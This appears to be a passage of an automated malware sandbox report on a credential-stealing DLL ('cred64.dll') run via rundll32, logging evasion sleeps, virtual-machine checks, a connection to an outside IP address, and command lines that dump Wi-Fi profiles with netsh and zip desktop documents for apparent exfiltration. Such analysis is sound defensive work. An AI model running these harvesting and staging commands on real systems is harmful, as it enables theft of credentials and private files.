Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7743	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1861	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8071
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1538
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6926
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1864

Source: C:\Windows\System32\loaddll64.exe TID: 7804	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836	Thread sleep count: 7743 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836	Thread sleep count: 1861 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6212	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 736	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior

Source: rundll32.exe, 00000007.00000002.1518302251.00000163154CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000007.00000002.1518302251.000001631546A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`;J
Source: rundll32.exe, 00000007.00000002.1518302251.00000163154CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:5^p]
Source: rundll32.exe, 00000006.00000002.1513737500.000001E8C5BA9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1513737500.000001E8C5C31000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.1584469285.000001D6A16AB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.1584469285.000001D6A1628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000002.1513737500.000001E8C5C31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\F
Source: netsh.exe, 00000008.00000003.1289055163.000001E19D5E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^w
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: netsh.exe, 00000014.00000003.1351824765.00000246E9384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: netsh.exe, 0000000A.00000003.1289106289.0000013D0BFD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>>

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 185.196.8.37 80

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PIVFAGEAAV.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\SQSJKEBWDT.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\SUAVTZKNFL.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PIVFAGEAAV.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\SQSJKEBWDT.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\SUAVTZKNFL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
